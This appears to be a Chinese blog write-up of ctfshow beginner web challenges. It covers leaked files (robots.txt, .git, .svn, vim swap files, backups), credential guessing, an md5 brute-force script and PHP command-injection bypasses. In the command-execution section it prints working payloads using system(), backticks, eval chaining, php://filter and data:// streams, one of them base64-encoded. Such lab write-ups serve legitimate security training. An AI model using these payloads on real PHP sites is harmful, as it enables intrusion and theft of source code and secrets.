ctfshow(web入门)

目录

信息收集

第三题

第四题

第五题

第六题

第七题

第八题 

第九题

 第十题

第十一题

第十二题

第十三题 

第十四题 

第十五题 

第十六题 

第十七题 

第十八题

第十九题

第二十题 

爆破

第二十一题

第二十二题

第二十三题

第二十四题 

第二十六题

第二十八题 

命令执行

第二十九题

第三十题

第三十一题 

第三十二题

第三十三题

第三十四题 

第三十五题

第三十六题 

第三十七题 

第三十八题 

第三十九题


信息收集

第三题

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YWl5a2Q5Y-2,size_20,color_FFFFFF,t_70,g_se,x_16

根据提示直接bp抓包。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YWl5a2Q5Y-2,size_20,color_FFFFFF,t_70,g_se,x_16 发送到repeater查看响应包。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YWl5a2Q5Y-2,size_20,color_FFFFFF,t_70,g_se,x_16

得flag。

第四题

总有人把后台地址写入robots,帮黑阔大佬们引路。

robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不能被搜索引擎的漫游器获取的,哪些是可以被(漫游器)获取的。 因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YWl5a2Q5Y-2,size_20,color_FFFFFF,t_70,g_se,x_16

在后面加入robots.txt ,得到/flagishere.txt。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YWl5a2Q5Y-2,size_20,color_FFFFFF,t_70,g_se,x_16

将其加入到原来的地址后面,得flag。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YWl5a2Q5Y-2,size_20,color_FFFFFF,t_70,g_se,x_16

第五题

phps源码泄露有时候能帮上忙

根据提示,访问/index.phps,查看源码。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YWl5a2Q5Y-2,size_20,color_FFFFFF,t_70,g_se,x_16


即可得到flag 。

第六题

解压源码到当前目录,测试正常,收工

根据提示解压源码,在后面加入www.zip,下载得到

则需在原地址后面加入fl000g.txt

 即可得到flag

第七题

版本控制很重要,但不要部署到生产环境更重要。

在地址后面加上/.git

得到flag

第八题 

版本控制很重要,但不要部署到生产环境更重要。

在地址后面加上/.svn

 得到flag

版本控制器,不是git泄露就是svn泄露。

git与svn的区别(git与svn是常用的版本控制工具):
1.git是分布式的,svn是集中式的
2.git将每个历史版本都存储完整的文件,svn只是存储差异的文件,历史版本不可恢复
3.git可以离线完成大部分的操作,svn不可以离线操作
4.git可以实现分支合并
5.git可以修改和撤销修改历史版本
6.git速度快,效率高
7.git有本地仓库
8.git以元数据方式存储,svn以原始文件存储

第九题

当非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容

例如,第一次产生的交换文件名为“.index.php.swp”;再次意外退出后,将会产生名为“.index.php.swo”的交换文件;而第三次产生的交换文件则为“.index.php.swn”;依此类推。

故在地址后面加上/index.php.swp

 第十题

cookie 只是一块饼干,不能存放任何隐私数据

根据提示知道flag在cookie里面,打开cookie

得到flag

第十一题

域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息

根据提示打开他给的网址https://zijian.aliyun.com/,直接在里面搜索ctfshow.com得到flag

第十二题

有时候网站上的公开信息,就是管理员常用密码

猜测Help Line Number : 372619038是密码,地址后面加上/admin访问后台,猜测admin就是用户名,然后输入密码

得到flag

第十三题 

技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

通过提示,在网页底部找到了document,将其打开在最后得到密码与地址

根据提示在原地址后面加入/system1103/login.php

 填写相应的用户名和密码

得到flag

第十四题 

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

根据提示,在地址后面加上/editor

点击上传文件 

点击文件空间 

在路径var/www/html/nothinghere/fl000g.txt中找到fl000g.txt,

访问此文件url/nothinghere/fl000g.txt 

得到flag

第十五题 

公开的信息比如邮箱,可能造成信息泄露,产生严重后。

地址后面加上/admin

随便输入用户名密码会显示用户名错误,直到填入admin,显示密码错误。

点击忘记密码

根据页面底部的QQ邮箱中的QQ去查找位置

猜测地址为西安,填入 

再用此密码登录

得到flag

第十六题 

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

根据提示找探针,访问 url/tz.php ,进入到一个探针界面。

并发现PHPINFO可以点击

 

用快捷键ctrl+f查找flag关键词 

得到flag

第十七题 

备份的sql文件会泄露敏感信息

根据提示,在地址后面加上/backup.sql

 得到flag

第十八题

不要着急,休息,休息一会儿,玩101分给你flag

F12查看源码

发现有个js地址 

在地址后面加上/js/Flappy_js.js,

 看到页面有一串 Unicode 编码,将其转中文

根据提示访问/110.php 

得到flag

第十九题

密钥什么的,就不要放在前端了

根据提示,按F12查看 

直接输入显示错误,通过hackbar进行post data提交

得到flag

第二十题 

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

早期 asp+access 架构的数据库文件为db.mdb ,所以访问/db/db.mdb下载一个文件。

ctrl+f查找flag关键词

 得到flag

爆破

第二十一题

爆破什么的,都是基操

随便输入,抓包

 会发现一个base64编码,解码发现它的形式为   (admin:密码)

 

 

 爆破得flag

第二十二题

域名也可以爆破的,试试爆破这个ctf.show的子域名

 逐个尝试

 得到flag

第二十三题

还爆破?这么多代码,告辞!

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);
}
?>

 使用了md5加密,可写php脚本

<?php
$token='123';
while(true){
    $t=$token;
    $token=md5($token);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo "over!"."<br>";
            echo $t;
            break;
        }
    }
}
highlight_file(__FILE__);
?>

得到c3d050f04e1a0b88b561182c9236833f

得到flag

第二十四题 

爆个🔨

这是一个伪随机数,这里使用了mt_srand(seed)函数设定了一个seed种子,有了种子之后,靠mt_rand()生成随机数。但是从php 4.2.0版本开始,随机数生成器自动播种,因此没有必要使用该函数播种,并且如果设置了seed参数,那么生成的随机数就是伪随机数,意思就是每次生成的随机数是一样的。

<?php
    mt_srand(372619038);
    echo (mt_rand());
?>

生成的是1155388967,因此给r赋此值得到flag。

第二十六题

这个可以爆

 

得到flag

第二十八题 

大海捞针

爆破目录

 

得到flag

命令执行

第二十九题

命令执行,需要严格的过滤

过滤了flag,利用通配符

?c=system('cat fla*');

得到flag 

第三十题

这里是将system和flag过滤了

用反引号绕过?c=echo `cat fla*`;

得到flag

第三十一题 

给c传一个eval($_GET[a])进去,再给a出入代码,执行。

?c=eval($_GET[a]);&a=system('cat flag.php');

得到flag 

第三十二题

过滤了括号,用include进行无括号包含

c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

得到flag 

第三十三题

 过滤了单双引号,直接用数组作为参数即可绕过

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

第三十四题 

过滤了分号,同上

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 得到flag 

第三十五题

 过滤了<,同上

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

第三十六题 

过滤了数字,将数字改为字符即可,如ctf

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

第三十七题 

过滤了flag ,又是 include 文件包含

利用伪协议读flag

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

flag.php 可以用通配符绕过

?c=data://text/plain,<?php system('cat fla?.php');?>得到flag

第三十八题 

 过滤了php,用base64编码绕过即可

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

得到flag

第三十九题

这里php代码已经闭合,.php就起不到执行的效果

?c=data://text/plain,<?=system('cat fla?.php')?>

得到flag 

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值